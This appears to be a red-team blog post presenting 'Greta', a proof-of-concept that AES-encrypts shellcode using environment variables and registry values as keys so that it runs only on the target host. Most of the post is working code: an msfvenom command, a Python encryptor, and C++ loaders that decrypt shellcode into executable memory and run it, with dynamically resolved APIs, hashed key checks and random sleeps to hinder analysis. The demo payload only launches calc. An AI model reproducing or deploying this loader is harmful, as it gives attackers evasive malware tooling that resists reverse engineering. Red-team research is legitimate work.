Greta: Windows Crypto, and Recursive Keying

Fun with recursive keying and dpapi

Introduction

In When Environmental Keying meets DPAPI I went over an example of using the Data Protection API (DPAPI) to encrypt data. Its cool, I guess, but I wanted to look at Environmental keying from a different perspective. So, I spent a day building a small/POC Python project to take in a bunch of environmental data in json, and recursively encrypt. In this post I want to touch on that a little.

There's no problem with taking a string, say the hostname, and passing it to some sort of AES encryption tool and then using the GetComputerNameA as the AES Key on the target. But that's not fun.

So, before I go into my horrible C++ and a bit of python, there are some older projects that can do this far more intelligently, as detailed in Keying Payloads for Scripting Languages:

One other disclaimer, I am terrible with cryptography. Please do not expect fancy Key Derivation Functions. The AES I use within this project is a PoC, so I just used the WinAPI encryption (more on that later).

Note on Guardrails

Execution Guardrails: Environmental Keying (T1480/001), is important because it causes the malware to remain in the scope of the engagement, as well as protect it from reverse engineering. For example, if Jim in HR sends it to Karen in Finance because it looks funny, and she opens it on her home machine, then we don't want that to execute, its probably out of scope. The more obvious benefit is that if the data is moved from the target environment, it will be difficult to reverse.

Typical Example

If you're on a target machine, the environmental keying used is almost entirely down to creativity. Some of which will make more sense than others, but generally speaking its down to being creative. With that said, the two obvious sources are Registry Keys and Environmental Variables, so they will be the ones I cover in this post.

Looking at the environmental variables, there is a whole bunch of data:

Same for the Registry, but that's way too awkward to show in one screenshot. As an example, I'll show a quick implementation of grabbing an environmental variable, using it as a key, and wrapping it all in python.

For the small POC, I'll just use an environmental variable. To grab that, there are several implementations:

However, I will just use GetEnvironmentVariableA for ease of use (for now). The key I will be using:

USERDNSDOMAIN                  SHELBY.LOCAL

The data to encrypt:

msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f raw -o calc.bin

To convert that into something AES-able, here is the python:

#!/usr/bin/env python3 

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib

class AES256:
	def __init__(self, password):
		self.key = hashlib.sha256(password.encode()).digest()
		self.iv = self.get_iv()
		self.mode = AES.MODE_CBC
		self.bs = AES.block_size

	def get_iv(self):
		return 16 * b'\x00'

	def encrypt(self, plaintext):
		cipher = AES.new(self.key, self.mode, self.iv)
		ciphertext = cipher.encrypt(pad(plaintext, self.bs))
		return ciphertext

def pretty_hex(h):
	return '{ 0x' + ', 0x'.join(hex(x)[2:] for x in h) + ' };'

password = 'SHELBY.LOCAL'

plaintext = open('calc.bin', "rb").read() + b'\x00'

aes256 = AES256(password)

ciphertext = aes256.encrypt(plaintext)

print(f'unsigned char enc[{len(ciphertext)}] = {pretty_hex(ciphertext)}')

This will give produce:

unsigned char enc[288] = { 0x3e, 0x5c, 0x5, 0x91, 0x9a, 0x7a, 0xf, 0x20, 0xd9, 0xec, 0x69, 0xf5, 0xf4, 0x28, 0x72, 0x82, 0x65, 0xf1, 0xf7, 0xeb, 0xf, 0xe6, 0xd2, 0xab, 0x1b, 0xcd, 0x91, 0xe1, 0x6c, 0x73, 0xa, 0x53, 0x10, 0x9b, 0x94, 0x80, 0xcb, 0x27, 0xc6, 0x53, 0x9e, 0x96, 0xc9, 0x36, 0xe7, 0x45, 0x6f, 0x19, 0xc1, 0x78, 0xd1, 0x8d, 0x88, 0xe8, 0xbc, 0x4, 0xe8, 0xb9, 0xe5, 0xc7, 0xf3, 0x2e, 0x30, 0x1a, 0xc, 0x2f, 0x66, 0x68, 0x95, 0xc6, 0xc1, 0x76, 0x4c, 0x72, 0x65, 0x68, 0xd, 0xe2, 0xbb, 0xdc, 0x30, 0xff, 0x3b, 0x4a, 0x2e, 0xb8, 0x85, 0x6b, 0x8d, 0x1f, 0xf6, 0x3d, 0xe8, 0xbe, 0x9, 0x70, 0xc0, 0x3a, 0x2e, 0xfa, 0xaa, 0xeb, 0xef, 0xf2, 0xc1, 0x1e, 0xc3, 0x5a, 0xb3, 0xcf, 0x17, 0xe9, 0x50, 0x1e, 0x91, 0x1d, 0xa6, 0x60, 0x4c, 0xb0, 0x62, 0x44, 0xca, 0xe3, 0xef, 0x9c, 0x0, 0xd5, 0x81, 0x2c, 0xe5, 0xaa, 0xf3, 0x4a, 0xb8, 0xc2, 0x86, 0x4e, 0x29, 0xfa, 0xc8, 0x8a, 0xee, 0x7a, 0xfa, 0xff, 0xfc, 0x77, 0xd6, 0x77, 0xaa, 0x44, 0x81, 0x2a, 0x3a, 0x59, 0xd, 0x2e, 0x6, 0x9c, 0xb8, 0x3c, 0x64, 0x3f, 0xa6, 0xf8, 0x8f, 0xb1, 0x89, 0x58, 0xda, 0xb7, 0x96, 0x8f, 0xcb, 0x64, 0x29, 0x83, 0x94, 0xd9, 0x55, 0xac, 0xd4, 0x67, 0x91, 0x13, 0xf, 0x94, 0xf1, 0xf8, 0x92, 0x89, 0xb3, 0x95, 0x55, 0xf3, 0x18, 0x2a, 0xeb, 0x75, 0xca, 0xd0, 0x78, 0xf2, 0x3f, 0xf8, 0xd0, 0x9c, 0x32, 0x41, 0x8a, 0xa2, 0x93, 0x84, 0x30, 0x4d, 0xe7, 0x3e, 0xeb, 0x2, 0x7b, 0x27, 0x3a, 0x9, 0xc3, 0xb1, 0x84, 0x2, 0xf0, 0x57, 0x71, 0xa8, 0x3f, 0x26, 0x10, 0x7f, 0x7f, 0x26, 0x2, 0xd6, 0xcf, 0x10, 0x55, 0x83, 0xfd, 0x5c, 0xa3, 0xd5, 0xe0, 0x60, 0xe1, 0x47, 0x3b, 0x9e, 0x5d, 0xb1, 0x34, 0x13, 0x93, 0x5d, 0xc4, 0xdf, 0x34, 0x27, 0x8f, 0xbd, 0x58, 0xa3, 0x54, 0x31, 0xa4, 0x30, 0xe6, 0xbd, 0x4, 0x2d, 0x5b, 0x6, 0xd0, 0x2e, 0xf2, 0x23, 0xa2, 0xa4, 0xd6, 0x92, 0x7b, 0x22 };

Then the CPP:

#include <windows.h>
#include <stdio.h>
#pragma comment("crypt32")

BOOL aes256cbc_decrypt(char* enc, unsigned int encSz, char* key)
{
	SIZE_T keySz = strlen(key);

	if (keySz == 0)
	{
		return FALSE;
	}

	HCRYPTPROV hProv = NULL;
	HCRYPTHASH hHash = NULL;
	HCRYPTKEY hKey = NULL;

	char* buffer = new char[keySz];
	memcpy(buffer, key, keySz);
	buffer[keySz] = '\00';

	if (CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) == FALSE)
	{
		return FALSE;
	}

	if (CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash) == FALSE)
	{
		return FALSE;
	}

	if (CryptHashData(hHash, (BYTE*)buffer, (DWORD)keySz, 0) == FALSE)
	{
		return FALSE;
	}

	if (CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey) == FALSE)
	{
		return FALSE;
	}

	if (CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)enc, (DWORD*)&encSz) == FALSE)
	{
		return FALSE;
	}

	CryptReleaseContext(hProv, 0);
	CryptDestroyHash(hHash);
	CryptDestroyKey(hKey);

	return TRUE;
}

int main()
{
	const char* key = "SHELBY.LOCAL";

	unsigned char enc[288] = { 0x3e, 0x5c, 0x5, 0x91, 0x9a, 0x7a, 0xf, 0x20, 0xd9, 0xec, 0x69, 0xf5, 0xf4, 0x28, 0x72, 0x82, 0x65, 0xf1, 0xf7, 0xeb, 0xf, 0xe6, 0xd2, 0xab, 0x1b, 0xcd, 0x91, 0xe1, 0x6c, 0x73, 0xa, 0x53, 0x10, 0x9b, 0x94, 0x80, 0xcb, 0x27, 0xc6, 0x53, 0x9e, 0x96, 0xc9, 0x36, 0xe7, 0x45, 0x6f, 0x19, 0xc1, 0x78, 0xd1, 0x8d, 0x88, 0xe8, 0xbc, 0x4, 0xe8, 0xb9, 0xe5, 0xc7, 0xf3, 0x2e, 0x30, 0x1a, 0xc, 0x2f, 0x66, 0x68, 0x95, 0xc6, 0xc1, 0x76, 0x4c, 0x72, 0x65, 0x68, 0xd, 0xe2, 0xbb, 0xdc, 0x30, 0xff, 0x3b, 0x4a, 0x2e, 0xb8, 0x85, 0x6b, 0x8d, 0x1f, 0xf6, 0x3d, 0xe8, 0xbe, 0x9, 0x70, 0xc0, 0x3a, 0x2e, 0xfa, 0xaa, 0xeb, 0xef, 0xf2, 0xc1, 0x1e, 0xc3, 0x5a, 0xb3, 0xcf, 0x17, 0xe9, 0x50, 0x1e, 0x91, 0x1d, 0xa6, 0x60, 0x4c, 0xb0, 0x62, 0x44, 0xca, 0xe3, 0xef, 0x9c, 0x0, 0xd5, 0x81, 0x2c, 0xe5, 0xaa, 0xf3, 0x4a, 0xb8, 0xc2, 0x86, 0x4e, 0x29, 0xfa, 0xc8, 0x8a, 0xee, 0x7a, 0xfa, 0xff, 0xfc, 0x77, 0xd6, 0x77, 0xaa, 0x44, 0x81, 0x2a, 0x3a, 0x59, 0xd, 0x2e, 0x6, 0x9c, 0xb8, 0x3c, 0x64, 0x3f, 0xa6, 0xf8, 0x8f, 0xb1, 0x89, 0x58, 0xda, 0xb7, 0x96, 0x8f, 0xcb, 0x64, 0x29, 0x83, 0x94, 0xd9, 0x55, 0xac, 0xd4, 0x67, 0x91, 0x13, 0xf, 0x94, 0xf1, 0xf8, 0x92, 0x89, 0xb3, 0x95, 0x55, 0xf3, 0x18, 0x2a, 0xeb, 0x75, 0xca, 0xd0, 0x78, 0xf2, 0x3f, 0xf8, 0xd0, 0x9c, 0x32, 0x41, 0x8a, 0xa2, 0x93, 0x84, 0x30, 0x4d, 0xe7, 0x3e, 0xeb, 0x2, 0x7b, 0x27, 0x3a, 0x9, 0xc3, 0xb1, 0x84, 0x2, 0xf0, 0x57, 0x71, 0xa8, 0x3f, 0x26, 0x10, 0x7f, 0x7f, 0x26, 0x2, 0xd6, 0xcf, 0x10, 0x55, 0x83, 0xfd, 0x5c, 0xa3, 0xd5, 0xe0, 0x60, 0xe1, 0x47, 0x3b, 0x9e, 0x5d, 0xb1, 0x34, 0x13, 0x93, 0x5d, 0xc4, 0xdf, 0x34, 0x27, 0x8f, 0xbd, 0x58, 0xa3, 0x54, 0x31, 0xa4, 0x30, 0xcc, 0x22, 0x95, 0xed, 0xde, 0xdf, 0xbd, 0xe1, 0x38, 0xd2, 0x99, 0x76, 0xc1, 0xd7, 0x29, 0x5d };
	
	printf("Key: %s\n", key);
	int encSz = sizeof enc;
	BOOL bDecrypt = aes256cbc_decrypt((char*)enc, sizeof enc, (char*)key);
	LPVOID pAddress = VirtualAlloc(nullptr, encSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	printf("Base Address: %p\n", pAddress);
	RtlMoveMemory(pAddress, enc, encSz);
	int (*go)() = (int(*)())pAddress;
	go();
}

To compile:

x86_64-w64-mingw32-g++ poc.cpp -o poc.exe -lcrypt32 -Wl,--strip-all -static-libgcc -static-libstdc++ -Os

Executing the PE:

The calls from the WinAPI to do the encryption are as followed:

I won't look into this too much because these set of calls are considered deprecated and are quite frankly just additional imports the PE doesn't need.

For some better C++ AES Libraries, see the following:

As this is just a POC project, then I'll stick with the WinAPI for now.

Currently, the key is hardcoded:

const char* key = "SHELBY.LOCAL";

As mentioned earlier, GetEnvironmentVariableA will be used:

DWORD GetEnvironmentVariableA(
  LPCSTR lpName,
  LPSTR  lpBuffer,
  DWORD  nSize
);

Pretty straight forward, here is a wrapper function for it:

std::string get_environmental_variable(std::string envvar)
{
	const DWORD buffSize = 1024;
	char key[buffSize];
	if (GetEnvironmentVariableA(envvar.c_str(), key, buffSize))
	{
		return std::string(key);
	}
	else
	{
		return{};
	}
}
int main()
{
	std::string envvar("USERDNSDOMAIN");
    std::string key(get_environmental_variable(envvar));;
}

To make this a bit easier to work with, std::string is now being used, lets add this into the POC. Below is the updated code (with the AES component ignored:

std::string get_environmental_variable(std::string envvar)
{
	const DWORD buffSize = 1024;
	char key[buffSize];
	if (GetEnvironmentVariableA(envvar.c_str(), key, buffSize))
	{
		return std::string(key);
	}
	else
	{
		return{};
	}
}

int main()
{
	std::string envvar("USERDNSDOMAIN");
    std::string key(get_environmental_variable(envvar));

	unsigned char enc[288] = { 0x3e, 0x5c, 0x5, 0x91, 0x9a, 0x7a, 0xf, 0x20, 0xd9, 0xec, 0x69, 0xf5, 0xf4, 0x28, 0x72, 0x82, 0x65, 0xf1, 0xf7, 0xeb, 0xf, 0xe6, 0xd2, 0xab, 0x1b, 0xcd, 0x91, 0xe1, 0x6c, 0x73, 0xa, 0x53, 0x10, 0x9b, 0x94, 0x80, 0xcb, 0x27, 0xc6, 0x53, 0x9e, 0x96, 0xc9, 0x36, 0xe7, 0x45, 0x6f, 0x19, 0xc1, 0x78, 0xd1, 0x8d, 0x88, 0xe8, 0xbc, 0x4, 0xe8, 0xb9, 0xe5, 0xc7, 0xf3, 0x2e, 0x30, 0x1a, 0xc, 0x2f, 0x66, 0x68, 0x95, 0xc6, 0xc1, 0x76, 0x4c, 0x72, 0x65, 0x68, 0xd, 0xe2, 0xbb, 0xdc, 0x30, 0xff, 0x3b, 0x4a, 0x2e, 0xb8, 0x85, 0x6b, 0x8d, 0x1f, 0xf6, 0x3d, 0xe8, 0xbe, 0x9, 0x70, 0xc0, 0x3a, 0x2e, 0xfa, 0xaa, 0xeb, 0xef, 0xf2, 0xc1, 0x1e, 0xc3, 0x5a, 0xb3, 0xcf, 0x17, 0xe9, 0x50, 0x1e, 0x91, 0x1d, 0xa6, 0x60, 0x4c, 0xb0, 0x62, 0x44, 0xca, 0xe3, 0xef, 0x9c, 0x0, 0xd5, 0x81, 0x2c, 0xe5, 0xaa, 0xf3, 0x4a, 0xb8, 0xc2, 0x86, 0x4e, 0x29, 0xfa, 0xc8, 0x8a, 0xee, 0x7a, 0xfa, 0xff, 0xfc, 0x77, 0xd6, 0x77, 0xaa, 0x44, 0x81, 0x2a, 0x3a, 0x59, 0xd, 0x2e, 0x6, 0x9c, 0xb8, 0x3c, 0x64, 0x3f, 0xa6, 0xf8, 0x8f, 0xb1, 0x89, 0x58, 0xda, 0xb7, 0x96, 0x8f, 0xcb, 0x64, 0x29, 0x83, 0x94, 0xd9, 0x55, 0xac, 0xd4, 0x67, 0x91, 0x13, 0xf, 0x94, 0xf1, 0xf8, 0x92, 0x89, 0xb3, 0x95, 0x55, 0xf3, 0x18, 0x2a, 0xeb, 0x75, 0xca, 0xd0, 0x78, 0xf2, 0x3f, 0xf8, 0xd0, 0x9c, 0x32, 0x41, 0x8a, 0xa2, 0x93, 0x84, 0x30, 0x4d, 0xe7, 0x3e, 0xeb, 0x2, 0x7b, 0x27, 0x3a, 0x9, 0xc3, 0xb1, 0x84, 0x2, 0xf0, 0x57, 0x71, 0xa8, 0x3f, 0x26, 0x10, 0x7f, 0x7f, 0x26, 0x2, 0xd6, 0xcf, 0x10, 0x55, 0x83, 0xfd, 0x5c, 0xa3, 0xd5, 0xe0, 0x60, 0xe1, 0x47, 0x3b, 0x9e, 0x5d, 0xb1, 0x34, 0x13, 0x93, 0x5d, 0xc4, 0xdf, 0x34, 0x27, 0x8f, 0xbd, 0x58, 0xa3, 0x54, 0x31, 0xa4, 0x30, 0xcc, 0x22, 0x95, 0xed, 0xde, 0xdf, 0xbd, 0xe1, 0x38, 0xd2, 0x99, 0x76, 0xc1, 0xd7, 0x29, 0x5d };
	
	printf("Key: %s\n", key.c_str());

	int encSz = sizeof enc;

	BOOL bDecrypt = aes256cbc_decrypt((char*)enc, sizeof enc, (char*)key.c_str());

	LPVOID pAddress = VirtualAlloc(nullptr, encSz, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	printf("Base Address: %p\n", pAddress);

	RtlMoveMemory(pAddress, enc, encSz);

	int (*go)() = (int(*)())pAddress;
	go();
}

Exact same response:

With the POC working, lets take a look at the JSON used to configure this.

The JSON

Below is the JSON that comes with the project:

{
    "registry": [
    {
        "Hive": "HKEY_LOCAL_MACHINE",
        "Path": "SOFTWARE\\\\MICROSOFT\\\\CRYPTOGRAPHY",
        "Key": "MachineGuid",
        "Value": "fa20973d-6aee-40fa-90ce-b3169646c414"
    },
    {
        "Hive": "HKEY_LOCAL_MACHINE",
        "Path": "SOFTWARE\\\\Microsoft\\\\NET Framework Setup\\\\NDP\\\\v4\\\\Full",
        "Key": "Version",
        "Value": "4.8.03761"
    }],
    "variable": [
    {
        "Variable": "PROCESSOR_REVISION",
        "Value": "2d07"
    },
    {
        "Variable": "USERDNSDOMAIN",
        "Value": "SHELBY.LOCAL"
    },
    {
        "Variable": "PROCESSOR_IDENTIFIER",
        "Value": "Intel64 Family 6 Model 45 Stepping 7, GenuineIntel"
    },
    {
        "Variable": "USERPROFILE",
        "Value": "C:\\Users\\tommy"
    }]
}

As an example, this one grabs 4 environmental variables and two registry values. So the goal was to go through each of these and recursively encrypt. Like so:

  1. A becomes B

  2. B becomes C

  3. C becomes D

And so on. Honestly, I don't see this having much more impact that decrypting with one environmental variable, but it was a fun project. A more ideal approach could be to combine them into one long key, XOR them all together, or use them all as valid keys as backup for one of the environmental keys changing.

PoC Project: Greta

This is where Greta is introduced. Below is the -h:

usage: greta.py [-h] [--debug] [--no-prints] [--output OUTPUT] [--sleep SLEEP] input config

Convert environmental data to multiple layers of AES!

positional arguments:
  input            File to encrypt
  config           Config file to parse

optional arguments:
  -h, --help       show this help message and exit
  --debug          Enable debug prints in output file
  --no-prints      Remove all printfs
  --output OUTPUT  Output file
  --sleep SLEEP    Sleep for random time between 0 and arg (between "substantial ops")

When the required flags are set, Greta will produce a .cpp file with all the logic, and then embed all the environmental specific components. Check src/greta.cpp for the static logic.

Right off the bat, there are a few opsec weaknesses for it:

  1. The strings are not masked, they're just there. An example:

#define ADVAPI32 "advapi32"
#define KERNEL32 "kernel32"
resolve_function_address(KERNEL32, "FormatMessageBoxA")
  1. The dynamic functions are just pulled from GetProcAddress and GetModuleHandle. I don't see this project actually being too useful, but if it did, something like DarkLoadLibrary would be a good project to replace some of that functionality. Here is the current function resolving:

FARPROC resolve_function_address(LPCSTR lpModuleName, LPCSTR lpProcName)
{
	HMODULE hModule = nullptr;
	FARPROC pFunction = nullptr;

	hModule = GetModuleHandleA(lpModuleName);

	if (hModule == nullptr)
	{
		return (FARPROC)nullptr;
	}
	pFunction = GetProcAddress(hModule, lpProcName);

	if (hModule == nullptr)
	{
		return (FARPROC)nullptr;
	}

	return pFunction;
}

There are quite a few functions to resolve, and all their function names are embedded as strings:

typedef DWORD(WINAPI* _FormatMessageA)(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list* Arguments);
typedef LSTATUS(WINAPI* _RegOpenKeyExA)(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
typedef LSTATUS(WINAPI* _RegQueryValueExA)(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);
typedef LSTATUS(WINAPI* _RegCloseKey)(HKEY hKey);
typedef DWORD(WINAPI* _GetEnvironmentVariableA)(LPCSTR lpName, LPSTR lpBuffer, DWORD nSize);
typedef BOOL(WINAPI* _CryptAcquireContextA)(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags);
typedef BOOL(WINAPI* _CryptCreateHash)(HCRYPTPROV hProv, ALG_ID Algid, HCRYPTKEY hKey, DWORD dwFlags, HCRYPTHASH* phHash);
typedef BOOL(WINAPI* _CryptHashData)(HCRYPTHASH hHash, const BYTE* pbData, DWORD dwDataLen, DWORD dwFlags);
typedef BOOL(WINAPI* _CryptDeriveKey)(HCRYPTPROV hProv, ALG_ID Algid, HCRYPTHASH hBaseData, DWORD dwFlags, HCRYPTKEY* phKey);
typedef BOOL(WINAPI* _CryptDecrypt)(HCRYPTKEY hKey, HCRYPTHASH hHash, BOOL Final, DWORD dwFlags, BYTE* pbData, DWORD* pdwDataLen);
typedef BOOL(WINAPI* _CryptReleaseContext)(HCRYPTPROV hProv, DWORD dwFlags);
typedef BOOL(WINAPI* _CryptDestroyHash)(HCRYPTHASH hHash);
typedef BOOL(WINAPI* _CryptDestroyKey)(HCRYPTKEY hKey);

The one type of string that isn't in the project, however, is the actual value being used to decrypt. To identify whether the string is in fact the correct one for decryption, Fowler–Noll–Vo hash function is being used; I also used this in Dynamically resolving hashed-NTAPI Calls. The code:

int fowler_noll_vo(std::string s)
{
	if (s.size() == 0)
	{
		return 0;
	}

	int hva = 38395996;
	int prime = 61037065;

	for (int i = 0; i < s.size(); i++)
	{
		hva = hva ^ (s.data()[i]);
		hva = hva * prime;
	}
	return hva;
}

BOOL compare_fnv(int a, int b)
{
	if (a == b)
	{
		return TRUE;
	}
	else
	{
		return FALSE;
	}
}

When it comes time to check the hashes, it is done like so:

std::string key = get_environmental_variable(envvar);
BOOL bCompare = compare_fnv((int)fnv, fowler_noll_vo(key));
if (bCompare == TRUE)
{
    // Good
}
else
{
	// Bad
}

So that's one positive.

One feature I do like to add into my tooling was inspired from DripLoader. Essentially just adding random Sleep() calls between actions. That is what --sleep does, it sleeps between 0 and the given argument (miliseconds):

Sleep is dynamically resolved and replaced with zzSleep:

void zzSleep(int s)
{
	typedef void(WINAPI* _Sleep)(DWORD dwMilliSeconds);

	_Sleep pSleep = reinterpret_cast<_Sleep>(resolve_function_address(KERNEL32, "Sleep"));
	pSleep(s);
	return;
}

Then an example of the sleeps being used:

_CryptAcquireContextA pCryptAcquireContextA = reinterpret_cast<_CryptAcquireContextA>(resolve_function_address(ADVAPI32, "CryptAcquireContextA"));
zzSleep(3652);

_CryptCreateHash pCryptCreateHash = reinterpret_cast<_CryptCreateHash>(resolve_function_address(ADVAPI32, "CryptCreateHash"));
zzSleep(9648);

_CryptHashData pCryptHashData = reinterpret_cast<_CryptHashData>(resolve_function_address(ADVAPI32, "CryptHashData"));
zzSleep(8377);

_CryptDeriveKey pCryptDeriveKey = reinterpret_cast<_CryptDeriveKey>(resolve_function_address(ADVAPI32, "CryptDeriveKey"));
zzSleep(7715);

_CryptDecrypt pCryptDecrypt = reinterpret_cast<_CryptDecrypt>(resolve_function_address(ADVAPI32, "CryptDecrypt"));
zzSleep(308);

_CryptReleaseContext pCryptReleaseContext = reinterpret_cast<_CryptReleaseContext>(resolve_function_address(ADVAPI32, "CryptReleaseContext"));
zzSleep(4471);

_CryptDestroyHash pCryptDestroyHash = reinterpret_cast<_CryptDestroyHash>(resolve_function_address(ADVAPI32, "CryptDestroyHash"));
zzSleep(8983);

_CryptDestroyKey pCryptDestroyKey = reinterpret_cast<_CryptDestroyKey>(resolve_function_address(ADVAPI32, "CryptDestroyKey"));
zzSleep(4147);

Below is a use case for greta.h:

#include "greta.h"
#include <stdio.h>
#include <vector>
#include <Windows.h>

int main()
{
	GRETA greta = Greta();

	if (!greta.bStatus)
	{
		return -1;
	}

	LPVOID pAddress = VirtualAlloc(nullptr, greta.payload.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	RtlMoveMemory(pAddress, greta.payload.data(), greta.payload.size());

	HANDLE hThread = CreateThread(nullptr, greta.payload.size(), (LPTHREAD_START_ROUTINE)pAddress, NULL, NULL, NULL);

	WaitForSingleObject(hThread, INFINITE);
	
	return 0;
}

Compiling:

x86_64-w64-mingw32-g++ main.cpp output.cpp -static-libgcc -static-libstdc++ -Os  -Wl,--strip-all -o greta.exe

And greta in action:

This also works with just the one key:

Conclusion

This was a quick one on using AES and Environmental keys to guardrail some payloads. Greta was produced for this blog, but honestly it isn't needed for the recursive feature, one key is enough. As someone who is terrible at both crypto and c++, I'd probably suggest another mechanism for the key which gives a bit more control and redundancy in case any of these keys change during the implants lifetime. If there is some research I've missed, and haven't already linked to in this post, I'd love to see it.

If you end up using this recursive approach and want to make my c++ not terrible, I'd also love to see that.

Last updated